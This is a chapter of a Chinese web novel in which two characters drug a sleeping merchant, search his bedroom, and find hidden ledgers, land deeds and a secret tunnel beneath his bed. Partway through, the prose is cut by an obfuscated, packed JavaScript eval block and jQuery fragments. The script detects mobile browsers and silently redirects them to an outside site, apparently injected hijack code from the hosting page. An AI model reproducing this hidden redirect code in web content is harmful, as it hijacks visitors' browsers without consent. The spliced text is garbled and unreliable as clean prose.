21. 向东游

作品:《看大当家如何管理镖局

    “上吧!”王安趴在窗边,朝内使着眼色。


    苏子恒动了


    他靠近雕花郎木窗,手掌升起,靠近王安不久前戳开的小口,手心内是一小堆白色粉末,轻轻一吹,粉末皆飞进屋内。


    屋内正是熟睡的曾白泉


    这就是王安所说对年轻人影响不好的行为——给别人下迷药。


    若是让他们学会了,改日来自己房中下迷药怎么办,这是绝对不可以的。


    可后来王安依旧没能逃过被下迷药的命运。


    “如何?这药多久能生效?”王安问


    “吸入即生效。”


    不愧是优秀大夫,王安眯着崇拜的星星眼,起身,道:“那咱们现在是不是可以进了?”


    “嗯。”苏子恒点头


    “你先前老是想着给胡一手他们下迷药,我怕你迷药放坏了,今日拿出来刚好消耗消耗。”她一边说着一边推开房门。


    苏子恒对此表示:“多谢。”


    也不知道在谢什么


    “不客气。”王安自然道,仿佛自己是做了什么大攻一件。


    门一推开,王安径直来到床前。


    床上


    仅曾白泉一人躺在正中


    曾白泉有妻儿,但前些日子他就将妻儿遣送回娘家,自己独守这万贯家产。


    “药粉给我一点。”她朝将将进入的苏子恒勾勾手


    他先是转身将房门紧闭,接着走上前去,拿出瓷瓶,打开瓶塞,将药粉倒在王安手心。


    瓶塞打开,二人皆屏气凝神。


    他停下动作,王安看着手心的药粉数量,道:“再来一点。”


    他又颠了颠瓷瓶,瓶内粉末尽数掉落,他将瓶口朝向王安,道:“没了。”


    王安收回手


    乘着药粉的手掌平移,最后落在曾白泉面部正上方。


    手掌倾斜,粉末同雨水一般散落在曾白泉脸上。


    但同时粉末极细极小,飞散在空中便不见踪影,并不会像面粉一般盖在曾白泉脸上。


    对此行为苏子恒也并未制止,只是落在曾白泉的身上的视线多了些许同情。


    “解药。”一个白色药丸出现在自己面前,王安立即吃下。


    王安打量着屋内的情况


    书桌


    只有简单的文房四宝


    书架


    没有能移动的机关


    墙壁


    字画挺多


    最后视线放在了曾白泉身下的床


    她伸手将墙上一副字画取下,随后将其卷起持握在手中。


    “可有发现?”苏子恒自然注意到这里的动静


    “没有。”王安一面回答他,一面拿着卷成长筒的字画来到床前。


    没有,那你取字画作何?


    就在苏子恒以为镖局实在没钱到需要大当家出来抢劫的地步,王安接下来的动作让他知晓取下字画并不是拿去卖钱。


    就见,她将长筒伸进曾白泉被内


    用力抬起长筒的一端,曾白泉在床上实现了一个有痛翻身。


    是的,感觉很痛的样子。


    在苏子恒疑惑的目光下,王安将手伸在床垫下来回扫动。


    跟着王安在青云村的小伙伴都知道,王安的姥爷喜欢将贵重物品藏在床褥之下。


    王安本着这个想法,摸索着,最后呢喃道:“没东西。”


    她起身,最后视线停留在曾白泉翻过去的另一边。


    片刻,询问道:“苏子恒你说我把他弄在地上应该醒不了吧?”


    “以你给的药量,他能睡到咱们回到云州。”意思就是醒不了。


    王安在脑中思考方法,随后弯腰,双手拽起床褥,身形后移。


    床褥连带着移动,床褥上昏死的曾白泉也跟着移动。


    最后的结果就是,王安是个床上清理大师。床上此时干干净净,床榻完整的暴露在王安面前。


    不出王安所料,床榻上赫然是一个明显的凹槽。


    “是账本。”王安掏出夹层内物品,打开瞧上一瞧,上面记录了一些钱财进入的信息。一连翻开几本,“都是账本。”


    “你看看。”王安将账本交给苏子恒。


    这一条条的记录,苏子恒是越看越惊


    “这个曾白泉这么有钱的吗?”王安只对数字最后的“黄金”二字敏感。


    王安记着曾白泉是个开茶馆的,“开茶馆这么赚钱的话,咱们也开个茶馆吧。”脑海规划着镖局,那主意就蹭蹭蹭往外冒,“不如就一楼开镖局,二楼开茶馆,这样能赚两笔钱呢。”


    “苏子恒,你说呢?我这个主意如何?”王安迟迟不见苏子恒回话。


    一边是对自己主意的憧憬,一边是越看越紧皱的眉头。


    “这不是茶楼的账本。”苏子恒下定义,茶楼的账本定然会记清每一笔支出每一笔收入,以及支出具体的用途。


    可面前一共三本


    一本全是收入


    一本是只有极少的支出,但每一笔收入都巨大


    最后一本才是最让苏子恒惊讶的,打开后是地契。没错,这是一本订正成册的一本地契。


    “那是什么?这曾老板还有其他的生意吗?”王安显然是没有意识到事情的严重性。


    “王安你尽快将这个账本中内容记下。”苏子恒不加思索,将其中一个账本交到王安手中。


    在他看来,王安现在还依旧能记起五岁时读过的书上内容,记个账本应该问题不大。


    “哦,好。”王安不知为何,但苏子恒认真的模样让她不能小看这事。


    王安翻开账本开始背诵


    景邈一年四月二十一,张三,还五十两,剩三百五十一两


    景邈一年五月十一,张三,还二十两,剩六百八十二两


    景邈一年五月十一,张三,还五十两,剩一千三百一十四两


    苏邈是大景的第一任帝王


    ……


    最近一条


    景丹一年一月十一,张三,还一百两黄金


    今年是新帝苏子丹即为第一年


    咦?


    起初张三越还越多,最后张三竟然一下子拿出一百两黄金还完欠款。


    内心疑惑,但王安背诵的速度丝毫不减。


    “如何?”苏子恒放下手中的账本


    王安回应,“都记好了。”


    苏子恒将三本账本重新放回夹层。


    王安汗颜


    自己记住一本内容的时间,苏子恒能记住两本。


    大夫果然非同凡响。


    最后王安犯了难


    这跟山一样躺在地上的曾白泉怎么办?


    “苏子恒,咱们两个一人一边。”王安想出的解决办法是,两人合力,一人一边拎起被褥,将曾白泉移动至床榻之上。


    王安弯腰,做势道:“我数一二三,一起使力。”


    苏子恒颔首


    “一,二,三……”


    话音刚落,苏子恒便开始使力


    抬了半天,曾白泉依旧稳如泰山。


    他看向王安寻求进一步打算,结果就是王安根本没有出力,她蹲在地上,正聚精会神瞧着床脚。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232316|164460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “苏子恒,你快来看。”王安招呼着。


    王安不提,苏子恒自然不会主动提起刚刚那段。


    他走近,就听见王安的结论,“我怀疑这个床下面还有东西。”起初她只是被包金的床脚所吸引,但她在床脚下发现了轻微拉动过的痕迹。


    “拉开看看。”跟王安待久了,苏子恒处事也变得十分直接,在王安这里他总是有一种力气胜过智取的感觉。


    王安先是拽起床褥,将曾百泉继续往外拖拉,留出一定空间之后才去移动床榻。


    若是王安早两日进入曾白泉房间,她是无法发现床榻之下的秘密。


    赵斌同王安一样的处事风格,直接将床榻拉开。但周子并不会,他会暗暗从床榻下爬出。


    床脚下的划痕正是白日中赵斌前来时所留下的。


    任赵斌小心翼翼还是让王安发现了痕迹。


    此时此刻苏子恒想的是,王安的眼睛。连细小的划痕都能够注意到,眼睛应当是好的差不多。


    大概是她太紧张了,导致自己有一种还病着的错觉。


    “呵——”王安轻笑,她总算是知道为何那日天行团几人来的悄无声息,又离开的悄无声息;为何那曾白泉恰巧跑出门外撞在那木鸟身上。


    这一切都是计划好的。


    “这曾老板是不是有病。”王安零帧起手,开口就骂。


    “不是,自己找几个人偷自己家的钱有意思吗?不是我请问呢?有着钱请白送给我。”王安显然认为曾白泉监守自盗。


    说罢,朝曾白泉左脚踢了几下以泄愤怒。


    苏子恒任王安骂完、踹完才开口说出自己的判断,“曾老板应该不知道自己床榻之下有个密道。”


    王安明显一愣


    床底下真真是好大一个暗道,他说不清楚谁会相信啊。


    “还记得暗牢吗?”


    “嗯”王安应声,就是刚刚池塘底下那个,他们俩刚出来。


    “暗牢有很明显的血气,那几人伤的不轻,若是找来演戏的大可不必如此。在加上……”后面的话苏子恒没有继续说完


    “再加上什么?”王安追问


    “再加上咱们镖局切切实实是什么都没有,曾老板无利可图。”苏子恒如实回答


    王安沉默,内心呐喊,早晚有一天麒麟镖局会变得让人有所图谋的。


    不过到了那时王安就会开始怀念那些无利可图的日子。


    “那这暗道就是天行团挖的,就是为了……为了他们偷盗便利。”王安道


    今夜的信息量一下子有些大呀


    王安本着严谨的原则


    将床榻恢复原位


    “一,二,三”二人合力将曾白泉从地上弄到床上。


    事实证明没有王安,他一个人根本不行


    但若是没有他呢?苏子恒暗自在心中盘算。


    他一边盘算一边细心将曾白泉的被角塞好。


    末了,将五枚白色的药丸塞进曾白泉嘴中,总不能让他接连睡上几日。


    药量下的有点多,还好解药带的够多。


    王安提出要带迷药时,苏子恒制作了十颗解药带在身上,他的盘算是一人两颗。


    “哎,苏子恒,你看。”苏子恒顺着王安视线看去,桌脚有包金,但其中一个桌脚的包金已然消失不见。


    这个消失的包金此刻在赵斌手中,本着来都来了的原则赵斌一共扣了三个包金。


    后事处理妥当


    苏子恒回到屋中


    王安则不是


    她翻着院墙,根据记忆朝远处摸去